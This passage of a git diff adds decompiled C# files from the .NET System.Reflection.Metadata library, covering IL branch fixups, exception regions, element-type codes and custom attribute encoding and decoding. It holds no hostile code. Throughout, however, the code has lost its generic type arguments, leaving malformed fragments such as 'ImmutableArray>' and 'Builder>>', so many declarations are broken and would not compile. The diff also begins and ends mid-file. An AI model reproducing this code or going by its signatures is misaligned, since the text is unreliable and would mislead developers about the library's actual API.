_branches = ImmutableArray.CreateBuilder(); + _labels = ImmutableArray.CreateBuilder(); + } + + public void Clear() + { + _branches.Clear(); + _labels.Clear(); + _lazyExceptionHandlers?.Clear(); + } + + internal LabelHandle AddLabel() + { + _labels.Add(-1); + return new LabelHandle(_labels.Count); + } + + internal void AddBranch(int ilOffset, LabelHandle label, ILOpCode opCode) + { + ValidateLabel(label, "label"); + _branches.Add(new BranchInfo(ilOffset, label, opCode)); + } + + internal void MarkLabel(int ilOffset, LabelHandle label) + { + ValidateLabel(label, "label"); + _labels[label.Id - 1] = ilOffset; + } + + private int GetLabelOffsetChecked(LabelHandle label) + { + int num = _labels[label.Id - 1]; + if (num < 0) + { + Throw.InvalidOperation_LabelNotMarked(label.Id); + } + return num; + } + + private void ValidateLabel(LabelHandle label, string parameterName) + { + if (label.IsNil) + { + Throw.ArgumentNull(parameterName); + } + if (label.Id > _labels.Count) + { + Throw.LabelDoesntBelongToBuilder(parameterName); + } + } + + public void AddFinallyRegion(LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd) + { + AddExceptionRegion(ExceptionRegionKind.Finally, tryStart, tryEnd, handlerStart, handlerEnd); + } + + public void AddFaultRegion(LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd) + { + AddExceptionRegion(ExceptionRegionKind.Fault, tryStart, tryEnd, handlerStart, handlerEnd); + } + + public void AddCatchRegion(LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd, EntityHandle catchType) + { + if (!ExceptionRegionEncoder.IsValidCatchTypeHandle(catchType)) + { + Throw.InvalidArgument_Handle("catchType"); + } + AddExceptionRegion(ExceptionRegionKind.Catch, tryStart, tryEnd, handlerStart, handlerEnd, default(LabelHandle), catchType); + } + + public void AddFilterRegion(LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd, LabelHandle filterStart) + { + ValidateLabel(filterStart, "filterStart"); + AddExceptionRegion(ExceptionRegionKind.Filter, tryStart, tryEnd, handlerStart, handlerEnd, filterStart); + } + + private void AddExceptionRegion(ExceptionRegionKind kind, LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd, LabelHandle filterStart = default(LabelHandle), EntityHandle catchType = default(EntityHandle)) + { + ValidateLabel(tryStart, "tryStart"); + ValidateLabel(tryEnd, "tryEnd"); + ValidateLabel(handlerStart, "handlerStart"); + ValidateLabel(handlerEnd, "handlerEnd"); + if (_lazyExceptionHandlers == null) + { + _lazyExceptionHandlers = ImmutableArray.CreateBuilder(); + } + _lazyExceptionHandlers.Add(new ExceptionHandlerInfo(kind, tryStart, tryEnd, handlerStart, handlerEnd, filterStart, catchType)); + } + + internal void CopyCodeAndFixupBranches(BlobBuilder srcBuilder, BlobBuilder dstBuilder) + { + BranchInfo branchInfo = _branches[0]; + int num = 0; + int num2 = 0; + int num3 = 0; + foreach (Blob blob in srcBuilder.GetBlobs()) + { + while (true) + { + int num4 = Math.Min(branchInfo.ILOffset - num2, blob.Length - num3); + dstBuilder.WriteBytes(blob.Buffer, num3, num4); + num2 += num4; + num3 += num4; + if (num3 == blob.Length) + { + num3 = 0; + break; + } + int branchOperandSize = branchInfo.OpCode.GetBranchOperandSize(); + bool flag = branchOperandSize == 1; + dstBuilder.WriteByte(blob.Buffer[num3]); + int branchDistance = branchInfo.GetBranchDistance(_labels, branchInfo.OpCode, num2, flag); + if (flag) + { + dstBuilder.WriteSByte((sbyte)branchDistance); + } + else + { + dstBuilder.WriteInt32(branchDistance); + } + num2 += 1 + branchOperandSize; + num++; + branchInfo = ((num != _branches.Count) ? _branches[num] : new BranchInfo(int.MaxValue, default(LabelHandle), ILOpCode.Nop)); + if (num3 == blob.Length - 1) + { + num3 = branchOperandSize; + break; + } + num3 += 1 + branchOperandSize; + } + } + } + + internal void SerializeExceptionTable(BlobBuilder builder) + { + if (_lazyExceptionHandlers == null || _lazyExceptionHandlers.Count == 0) + { + return; + } + ExceptionRegionEncoder exceptionRegionEncoder = ExceptionRegionEncoder.SerializeTableHeader(builder, _lazyExceptionHandlers.Count, HasSmallExceptionRegions()); + foreach (ExceptionHandlerInfo lazyExceptionHandler in _lazyExceptionHandlers) + { + int labelOffsetChecked = GetLabelOffsetChecked(lazyExceptionHandler.TryStart); + int labelOffsetChecked2 = GetLabelOffsetChecked(lazyExceptionHandler.TryEnd); + int labelOffsetChecked3 = GetLabelOffsetChecked(lazyExceptionHandler.HandlerStart); + int labelOffsetChecked4 = GetLabelOffsetChecked(lazyExceptionHandler.HandlerEnd); + if (labelOffsetChecked > labelOffsetChecked2) + { + Throw.InvalidOperation(System.SR.Format(System.SR.InvalidExceptionRegionBounds, labelOffsetChecked, labelOffsetChecked2)); + } + if (labelOffsetChecked3 > labelOffsetChecked4) + { + Throw.InvalidOperation(System.SR.Format(System.SR.InvalidExceptionRegionBounds, labelOffsetChecked3, labelOffsetChecked4)); + } + int catchTokenOrOffset = lazyExceptionHandler.Kind switch + { + ExceptionRegionKind.Catch => MetadataTokens.GetToken(lazyExceptionHandler.CatchType), + ExceptionRegionKind.Filter => GetLabelOffsetChecked(lazyExceptionHandler.FilterStart), + _ => 0, + }; + exceptionRegionEncoder.AddUnchecked(lazyExceptionHandler.Kind, labelOffsetChecked, labelOffsetChecked2 - labelOffsetChecked, labelOffsetChecked3, labelOffsetChecked4 - labelOffsetChecked3, catchTokenOrOffset); + } + } + + private bool HasSmallExceptionRegions() + { + if (!ExceptionRegionEncoder.IsSmallRegionCount(_lazyExceptionHandlers.Count)) + { + return false; + } + foreach (ExceptionHandlerInfo lazyExceptionHandler in _lazyExceptionHandlers) + { + if (!ExceptionRegionEncoder.IsSmallExceptionRegionFromBounds(GetLabelOffsetChecked(lazyExceptionHandler.TryStart), GetLabelOffsetChecked(lazyExceptionHandler.TryEnd)) || !ExceptionRegionEncoder.IsSmallExceptionRegionFromBounds(GetLabelOffsetChecked(lazyExceptionHandler.HandlerStart), GetLabelOffsetChecked(lazyExceptionHandler.HandlerEnd))) + { + return false; + } + } + return true; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CorElementType.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CorElementType.cs new file mode 100644 index 0000000..7de2fb5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CorElementType.cs @@ -0,0 +1,39 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal enum CorElementType : byte +{ + Invalid = 0, + ELEMENT_TYPE_VOID = 1, + ELEMENT_TYPE_BOOLEAN = 2, + ELEMENT_TYPE_CHAR = 3, + ELEMENT_TYPE_I1 = 4, + ELEMENT_TYPE_U1 = 5, + ELEMENT_TYPE_I2 = 6, + ELEMENT_TYPE_U2 = 7, + ELEMENT_TYPE_I4 = 8, + ELEMENT_TYPE_U4 = 9, + ELEMENT_TYPE_I8 = 10, + ELEMENT_TYPE_U8 = 11, + ELEMENT_TYPE_R4 = 12, + ELEMENT_TYPE_R8 = 13, + ELEMENT_TYPE_STRING = 14, + ELEMENT_TYPE_PTR = 15, + ELEMENT_TYPE_BYREF = 16, + ELEMENT_TYPE_VALUETYPE = 17, + ELEMENT_TYPE_CLASS = 18, + ELEMENT_TYPE_VAR = 19, + ELEMENT_TYPE_ARRAY = 20, + ELEMENT_TYPE_GENERICINST = 21, + ELEMENT_TYPE_TYPEDBYREF = 22, + ELEMENT_TYPE_I = 24, + ELEMENT_TYPE_U = 25, + ELEMENT_TYPE_FNPTR = 27, + ELEMENT_TYPE_OBJECT = 28, + ELEMENT_TYPE_SZARRAY = 29, + ELEMENT_TYPE_MVAR = 30, + ELEMENT_TYPE_CMOD_REQD = 31, + ELEMENT_TYPE_CMOD_OPT = 32, + ELEMENT_TYPE_HANDLE = 64, + ELEMENT_TYPE_SENTINEL = 65, + ELEMENT_TYPE_PINNED = 69 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeArrayTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeArrayTypeEncoder.cs new file mode 100644 index 0000000..451f553 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeArrayTypeEncoder.cs @@ -0,0 +1,23 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct CustomAttributeArrayTypeEncoder +{ + public BlobBuilder Builder { get; } + + public CustomAttributeArrayTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public void ObjectArray() + { + Builder.WriteByte(29); + Builder.WriteByte(81); + } + + public CustomAttributeElementTypeEncoder ElementType() + { + Builder.WriteByte(29); + return new CustomAttributeElementTypeEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeDecoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeDecoder.cs new file mode 100644 index 0000000..7984101 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeDecoder.cs @@ -0,0 +1,447 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct CustomAttributeDecoder(ICustomAttributeTypeProvider provider, MetadataReader reader) +{ + private struct ArgumentTypeInfo + { + public TType Type; + + public TType ElementType; + + public SerializationTypeCode TypeCode; + + public SerializationTypeCode ElementTypeCode; + } + + private readonly ICustomAttributeTypeProvider _provider = provider; + + private readonly MetadataReader _reader = reader; + + public CustomAttributeValue DecodeValue(EntityHandle constructor, BlobHandle value) + { + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0170: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + BlobHandle handle = default(BlobHandle); + BlobHandle signature; + switch (constructor.Kind) + { + case HandleKind.MethodDefinition: + signature = _reader.GetMethodDefinition((MethodDefinitionHandle)constructor).Signature; + break; + case HandleKind.MemberReference: + { + MemberReference memberReference = _reader.GetMemberReference((MemberReferenceHandle)constructor); + signature = memberReference.Signature; + if (memberReference.Parent.Kind == HandleKind.TypeSpecification) + { + handle = _reader.GetTypeSpecification((TypeSpecificationHandle)memberReference.Parent).Signature; + } + break; + } + default: + throw new BadImageFormatException(); + } + BlobReader signatureReader = _reader.GetBlobReader(signature); + BlobReader valueReader = _reader.GetBlobReader(value); + ushort num = valueReader.ReadUInt16(); + if (num != 1) + { + throw new BadImageFormatException(); + } + SignatureHeader signatureHeader = signatureReader.ReadSignatureHeader(); + if (signatureHeader.Kind != SignatureKind.Method || signatureHeader.IsGeneric) + { + throw new BadImageFormatException(); + } + int count = signatureReader.ReadCompressedInteger(); + SignatureTypeCode signatureTypeCode = signatureReader.ReadSignatureTypeCode(); + if (signatureTypeCode != SignatureTypeCode.Void) + { + throw new BadImageFormatException(); + } + BlobReader genericContextReader = default(BlobReader); + if (!handle.IsNil) + { + genericContextReader = _reader.GetBlobReader(handle); + if (genericContextReader.ReadSignatureTypeCode() == SignatureTypeCode.GenericTypeInstance) + { + int num2 = genericContextReader.ReadCompressedInteger(); + if (num2 != 18 && num2 != 17) + { + throw new BadImageFormatException(); + } + genericContextReader.ReadTypeHandle(); + } + else + { + genericContextReader = default(BlobReader); + } + } + ImmutableArray> fixedArguments = DecodeFixedArguments(ref signatureReader, ref valueReader, count, genericContextReader); + ImmutableArray> namedArguments = DecodeNamedArguments(ref valueReader); + return new CustomAttributeValue(fixedArguments, namedArguments); + } + + private ImmutableArray> DecodeFixedArguments(ref BlobReader signatureReader, ref BlobReader valueReader, int count, BlobReader genericContextReader) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + if (count == 0) + { + return ImmutableArray>.Empty; + } + Builder> val = ImmutableArray.CreateBuilder>(count); + for (int i = 0; i < count; i++) + { + ArgumentTypeInfo info = DecodeFixedArgumentType(ref signatureReader, genericContextReader); + ((Builder>>)(object)val).Add((CustomAttributeTypedArgument>)DecodeArgument(ref valueReader, info)); + } + return ((Builder>>)(object)val).MoveToImmutable(); + } + + private ImmutableArray> DecodeNamedArguments(ref BlobReader valueReader) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + int num = valueReader.ReadUInt16(); + if (num == 0) + { + return ImmutableArray>.Empty; + } + Builder> val = ImmutableArray.CreateBuilder>(num); + for (int i = 0; i < num; i++) + { + CustomAttributeNamedArgumentKind customAttributeNamedArgumentKind = (CustomAttributeNamedArgumentKind)valueReader.ReadSerializationTypeCode(); + if (customAttributeNamedArgumentKind != CustomAttributeNamedArgumentKind.Field && customAttributeNamedArgumentKind != CustomAttributeNamedArgumentKind.Property) + { + throw new BadImageFormatException(); + } + ArgumentTypeInfo info = DecodeNamedArgumentType(ref valueReader); + string name = valueReader.ReadSerializedString(); + CustomAttributeTypedArgument customAttributeTypedArgument = DecodeArgument(ref valueReader, info); + ((Builder>>)(object)val).Add((CustomAttributeNamedArgument>)new CustomAttributeNamedArgument(name, customAttributeNamedArgumentKind, customAttributeTypedArgument.Type, customAttributeTypedArgument.Value)); + } + return ((Builder>>)(object)val).MoveToImmutable(); + } + + private ArgumentTypeInfo DecodeFixedArgumentType(ref BlobReader signatureReader, BlobReader genericContextReader, bool isElementType = false) + { + SignatureTypeCode signatureTypeCode = signatureReader.ReadSignatureTypeCode(); + ArgumentTypeInfo result = new ArgumentTypeInfo + { + TypeCode = (SerializationTypeCode)signatureTypeCode + }; + switch (signatureTypeCode) + { + case SignatureTypeCode.Boolean: + case SignatureTypeCode.Char: + case SignatureTypeCode.SByte: + case SignatureTypeCode.Byte: + case SignatureTypeCode.Int16: + case SignatureTypeCode.UInt16: + case SignatureTypeCode.Int32: + case SignatureTypeCode.UInt32: + case SignatureTypeCode.Int64: + case SignatureTypeCode.UInt64: + case SignatureTypeCode.Single: + case SignatureTypeCode.Double: + case SignatureTypeCode.String: + result.Type = _provider.GetPrimitiveType((PrimitiveTypeCode)signatureTypeCode); + break; + case SignatureTypeCode.Object: + result.TypeCode = SerializationTypeCode.TaggedObject; + result.Type = _provider.GetPrimitiveType(PrimitiveTypeCode.Object); + break; + case SignatureTypeCode.TypeHandle: + { + EntityHandle handle = signatureReader.ReadTypeHandle(); + result.Type = GetTypeFromHandle(handle); + result.TypeCode = (SerializationTypeCode)(_provider.IsSystemType(result.Type) ? ((PrimitiveTypeCode)80) : _provider.GetUnderlyingEnumType(result.Type)); + break; + } + case SignatureTypeCode.SZArray: + { + if (isElementType) + { + throw new BadImageFormatException(); + } + ArgumentTypeInfo argumentTypeInfo = DecodeFixedArgumentType(ref signatureReader, genericContextReader, isElementType: true); + result.ElementType = argumentTypeInfo.Type; + result.ElementTypeCode = argumentTypeInfo.TypeCode; + result.Type = _provider.GetSZArrayType(result.ElementType); + break; + } + case SignatureTypeCode.GenericTypeParameter: + { + if (genericContextReader.Length == 0) + { + throw new BadImageFormatException(); + } + int num = signatureReader.ReadCompressedInteger(); + int num2 = genericContextReader.ReadCompressedInteger(); + if (num >= num2) + { + throw new BadImageFormatException(); + } + while (num > 0) + { + SkipType(ref genericContextReader); + num--; + } + return DecodeFixedArgumentType(ref genericContextReader, default(BlobReader), isElementType); + } + default: + throw new BadImageFormatException(); + } + return result; + } + + private ArgumentTypeInfo DecodeNamedArgumentType(ref BlobReader valueReader, bool isElementType = false) + { + ArgumentTypeInfo result = new ArgumentTypeInfo + { + TypeCode = valueReader.ReadSerializationTypeCode() + }; + switch (result.TypeCode) + { + case SerializationTypeCode.Boolean: + case SerializationTypeCode.Char: + case SerializationTypeCode.SByte: + case SerializationTypeCode.Byte: + case SerializationTypeCode.Int16: + case SerializationTypeCode.UInt16: + case SerializationTypeCode.Int32: + case SerializationTypeCode.UInt32: + case SerializationTypeCode.Int64: + case SerializationTypeCode.UInt64: + case SerializationTypeCode.Single: + case SerializationTypeCode.Double: + case SerializationTypeCode.String: + result.Type = _provider.GetPrimitiveType((PrimitiveTypeCode)result.TypeCode); + break; + case SerializationTypeCode.Type: + result.Type = _provider.GetSystemType(); + break; + case SerializationTypeCode.TaggedObject: + result.Type = _provider.GetPrimitiveType(PrimitiveTypeCode.Object); + break; + case SerializationTypeCode.SZArray: + { + if (isElementType) + { + throw new BadImageFormatException(); + } + ArgumentTypeInfo argumentTypeInfo = DecodeNamedArgumentType(ref valueReader, isElementType: true); + result.ElementType = argumentTypeInfo.Type; + result.ElementTypeCode = argumentTypeInfo.TypeCode; + result.Type = _provider.GetSZArrayType(result.ElementType); + break; + } + case SerializationTypeCode.Enum: + { + string name = valueReader.ReadSerializedString(); + result.Type = _provider.GetTypeFromSerializedName(name); + result.TypeCode = (SerializationTypeCode)_provider.GetUnderlyingEnumType(result.Type); + break; + } + default: + throw new BadImageFormatException(); + } + return result; + } + + private CustomAttributeTypedArgument DecodeArgument(ref BlobReader valueReader, ArgumentTypeInfo info) + { + if (info.TypeCode == SerializationTypeCode.TaggedObject) + { + info = DecodeNamedArgumentType(ref valueReader); + } + object value; + switch (info.TypeCode) + { + case SerializationTypeCode.Boolean: + value = valueReader.ReadBoolean(); + break; + case SerializationTypeCode.Byte: + value = valueReader.ReadByte(); + break; + case SerializationTypeCode.Char: + value = valueReader.ReadChar(); + break; + case SerializationTypeCode.Double: + value = valueReader.ReadDouble(); + break; + case SerializationTypeCode.Int16: + value = valueReader.ReadInt16(); + break; + case SerializationTypeCode.Int32: + value = valueReader.ReadInt32(); + break; + case SerializationTypeCode.Int64: + value = valueReader.ReadInt64(); + break; + case SerializationTypeCode.SByte: + value = valueReader.ReadSByte(); + break; + case SerializationTypeCode.Single: + value = valueReader.ReadSingle(); + break; + case SerializationTypeCode.UInt16: + value = valueReader.ReadUInt16(); + break; + case SerializationTypeCode.UInt32: + value = valueReader.ReadUInt32(); + break; + case SerializationTypeCode.UInt64: + value = valueReader.ReadUInt64(); + break; + case SerializationTypeCode.String: + value = valueReader.ReadSerializedString(); + break; + case SerializationTypeCode.Type: + { + string name = valueReader.ReadSerializedString(); + value = _provider.GetTypeFromSerializedName(name); + break; + } + case SerializationTypeCode.SZArray: + value = DecodeArrayArgument(ref valueReader, info); + break; + default: + throw new BadImageFormatException(); + } + return new CustomAttributeTypedArgument(info.Type, value); + } + + private ImmutableArray>? DecodeArrayArgument(ref BlobReader blobReader, ArgumentTypeInfo info) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + int num = blobReader.ReadInt32(); + if (num == -1) + { + return null; + } + if (num == 0) + { + return ImmutableArray>.Empty; + } + if (num < 0) + { + throw new BadImageFormatException(); + } + ArgumentTypeInfo info2 = new ArgumentTypeInfo + { + Type = info.ElementType, + TypeCode = info.ElementTypeCode + }; + Builder> val = ImmutableArray.CreateBuilder>(num); + for (int i = 0; i < num; i++) + { + ((Builder>>)(object)val).Add((CustomAttributeTypedArgument>)DecodeArgument(ref blobReader, info2)); + } + return ((Builder>>)(object)val).MoveToImmutable(); + } + + private TType GetTypeFromHandle(EntityHandle handle) + { + return handle.Kind switch + { + HandleKind.TypeDefinition => _provider.GetTypeFromDefinition(_reader, (TypeDefinitionHandle)handle, 0), + HandleKind.TypeReference => _provider.GetTypeFromReference(_reader, (TypeReferenceHandle)handle, 0), + _ => throw new BadImageFormatException(System.SR.NotTypeDefOrRefHandle), + }; + } + + private static void SkipType(ref BlobReader blobReader) + { + switch (blobReader.ReadCompressedInteger()) + { + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 22: + case 24: + case 25: + case 28: + break; + case 15: + case 16: + case 29: + case 69: + SkipType(ref blobReader); + break; + case 27: + { + if (blobReader.ReadSignatureHeader().IsGeneric) + { + blobReader.ReadCompressedInteger(); + } + int num2 = blobReader.ReadCompressedInteger(); + SkipType(ref blobReader); + for (int j = 0; j < num2; j++) + { + SkipType(ref blobReader); + } + break; + } + case 20: + { + SkipType(ref blobReader); + blobReader.ReadCompressedInteger(); + int num3 = blobReader.ReadCompressedInteger(); + for (int k = 0; k < num3; k++) + { + blobReader.ReadCompressedInteger(); + } + int num4 = blobReader.ReadCompressedInteger(); + for (int l = 0; l < num4; l++) + { + blobReader.ReadCompressedSignedInteger(); + } + break; + } + case 31: + case 32: + blobReader.ReadTypeHandle(); + SkipType(ref blobReader); + break; + case 21: + { + SkipType(ref blobReader); + int num = blobReader.ReadCompressedInteger(); + for (int i = 0; i < num; i++) + { + SkipType(ref blobReader); + } + break; + } + case 19: + blobReader.ReadCompressedInteger(); + break; + case 17: + case 18: + SkipType(ref blobReader); + break; + default: + throw new BadImageFormatException(); + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeElementTypeEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeElementTypeEncoder.cs new file mode 100644 index 0000000..f282a6b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeElementTypeEncoder.cs @@ -0,0 +1,112 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct CustomAttributeElementTypeEncoder +{ + public BlobBuilder Builder { get; } + + public CustomAttributeElementTypeEncoder(BlobBuilder builder) + { + Builder = builder; + } + + private void WriteTypeCode(SerializationTypeCode value) + { + Builder.WriteByte((byte)value); + } + + public void Boolean() + { + WriteTypeCode(SerializationTypeCode.Boolean); + } + + public void Char() + { + WriteTypeCode(SerializationTypeCode.Char); + } + + public void SByte() + { + WriteTypeCode(SerializationTypeCode.SByte); + } + + public void Byte() + { + WriteTypeCode(SerializationTypeCode.Byte); + } + + public void Int16() + { + WriteTypeCode(SerializationTypeCode.Int16); + } + + public void UInt16() + { + WriteTypeCode(SerializationTypeCode.UInt16); + } + + public void Int32() + { + WriteTypeCode(SerializationTypeCode.Int32); + } + + public void UInt32() + { + WriteTypeCode(SerializationTypeCode.UInt32); + } + + public void Int64() + { + WriteTypeCode(SerializationTypeCode.Int64); + } + + public void UInt64() + { + WriteTypeCode(SerializationTypeCode.UInt64); + } + + public void Single() + { + WriteTypeCode(SerializationTypeCode.Single); + } + + public void Double() + { + WriteTypeCode(SerializationTypeCode.Double); + } + + public void String() + { + WriteTypeCode(SerializationTypeCode.String); + } + + public void PrimitiveType(PrimitiveSerializationTypeCode type) + { + if (type - 2 <= PrimitiveSerializationTypeCode.Single) + { + WriteTypeCode((SerializationTypeCode)type); + } + else + { + Throw.ArgumentOutOfRange("type"); + } + } + + public void SystemType() + { + WriteTypeCode(SerializationTypeCode.Type); + } + + public void Enum(string enumTypeName) + { + if (enumTypeName == null) + { + Throw.ArgumentNull("enumTypeName"); + } + if (enumTypeName.Length == 0) + { + Throw.ArgumentEmptyString("enumTypeName"); + } + WriteTypeCode(SerializationTypeCode.Enum); + Builder.WriteSerializedString(enumTypeName); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeNamedArgumentsEncoder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeNamedArgumentsEncoder.cs new file mode 100644 index 0000000..1a4cf54 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeNamedArgumentsEncoder.cs @@ -0,0 +1,21 @@ +namespace System.Reflection.Metadata.Ecma335; + +public readonly struct CustomAttributeNamedArgumentsEncoder +{ + public BlobBuilder Builder { get; } + + public CustomAttributeNamedArgumentsEncoder(BlobBuilder builder) + { + Builder = builder; + } + + public NamedArgumentsEncoder Count(int count) + { + if ((uint)count > 65535u) + { + Throw.ArgumentOutOfRange("count"); + } + Builder.WriteUInt16((ushort)count); + return new NamedArgumentsEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTableReader.cs new file mode 100644 index 0000000..08aaaa4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTableReader.cs @@ -0,0 +1,91 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct CustomAttributeTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsHasCustomAttributeRefSizeSmall; + + private readonly bool _IsCustomAttributeTypeRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _ParentOffset; + + private readonly int _TypeOffset; + + private readonly int _ValueOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal readonly int[]? PtrTable; + + internal CustomAttributeTableReader(int numberOfRows, bool declaredSorted, int hasCustomAttributeRefSize, int customAttributeTypeRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsHasCustomAttributeRefSizeSmall = hasCustomAttributeRefSize == 2; + _IsCustomAttributeTypeRefSizeSmall = customAttributeTypeRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _ParentOffset = 0; + _TypeOffset = _ParentOffset + hasCustomAttributeRefSize; + _ValueOffset = _TypeOffset + customAttributeTypeRefSize; + RowSize = _ValueOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + PtrTable = null; + if (!declaredSorted && !CheckSorted()) + { + PtrTable = Block.BuildPtrTable(numberOfRows, RowSize, _ParentOffset, _IsHasCustomAttributeRefSizeSmall); + } + } + + internal EntityHandle GetParent(CustomAttributeHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return HasCustomAttributeTag.ConvertToHandle(Block.PeekTaggedReference(num + _ParentOffset, _IsHasCustomAttributeRefSizeSmall)); + } + + internal EntityHandle GetConstructor(CustomAttributeHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return CustomAttributeTypeTag.ConvertToHandle(Block.PeekTaggedReference(num + _TypeOffset, _IsCustomAttributeTypeRefSizeSmall)); + } + + internal BlobHandle GetValue(CustomAttributeHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _ValueOffset, _IsBlobHeapRefSizeSmall)); + } + + internal void GetAttributeRange(EntityHandle parentHandle, out int firstImplRowId, out int lastImplRowId) + { + int startRowNumber; + int endRowNumber; + if (PtrTable != null) + { + Block.BinarySearchReferenceRange(PtrTable, RowSize, _ParentOffset, HasCustomAttributeTag.ConvertToTag(parentHandle), _IsHasCustomAttributeRefSizeSmall, out startRowNumber, out endRowNumber); + } + else + { + Block.BinarySearchReferenceRange(NumberOfRows, RowSize, _ParentOffset, HasCustomAttributeTag.ConvertToTag(parentHandle), _IsHasCustomAttributeRefSizeSmall, out startRowNumber, out endRowNumber); + } + if (startRowNumber == -1) + { + firstImplRowId = 1; + lastImplRowId = 0; + } + else + { + firstImplRowId = startRowNumber + 1; + lastImplRowId = endRowNumber + 1; + } + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ParentOffset, _IsHasCustomAttributeRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTreatment.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTreatment.cs new file mode 100644 index 0000000..8161178 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTreatment.cs @@ -0,0 +1,8 @@ +namespace System.Reflection.Metadata.Ecma335; + +[Flags] +internal enum CustomAttributeTreatment : byte +{ + None = 0, + WinMD = 1 +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTypeTag.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTypeTag.cs new file mode 100644 index 0000000..e812855 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeTypeTag.cs @@ -0,0 +1,32 @@ +using System.Runtime.CompilerServices; + +namespace System.Reflection.Metadata.Ecma335; + +internal static class CustomAttributeTypeTag +{ + internal const int NumberOfBits = 3; + + internal const int LargeRowSize = 8192; + + internal const uint MethodDef = 2u; + + internal const uint MemberRef = 3u; + + internal const uint TagMask = 7u; + + internal const ulong TagToTokenTypeByteVector = 168165376uL; + + internal const TableMask TablesReferenced = TableMask.MethodDef | TableMask.MemberRef; + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static EntityHandle ConvertToHandle(uint customAttributeType) + { + uint num = (uint)((int)(168165376uL >> (int)((customAttributeType & 7) << 3)) << 24); + uint num2 = customAttributeType >> 3; + if (num == 0 || (num2 & 0xFF000000u) != 0) + { + Throw.InvalidCodedIndex(); + } + return new EntityHandle(num | num2); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CustomAttributeValueTreatment.cs 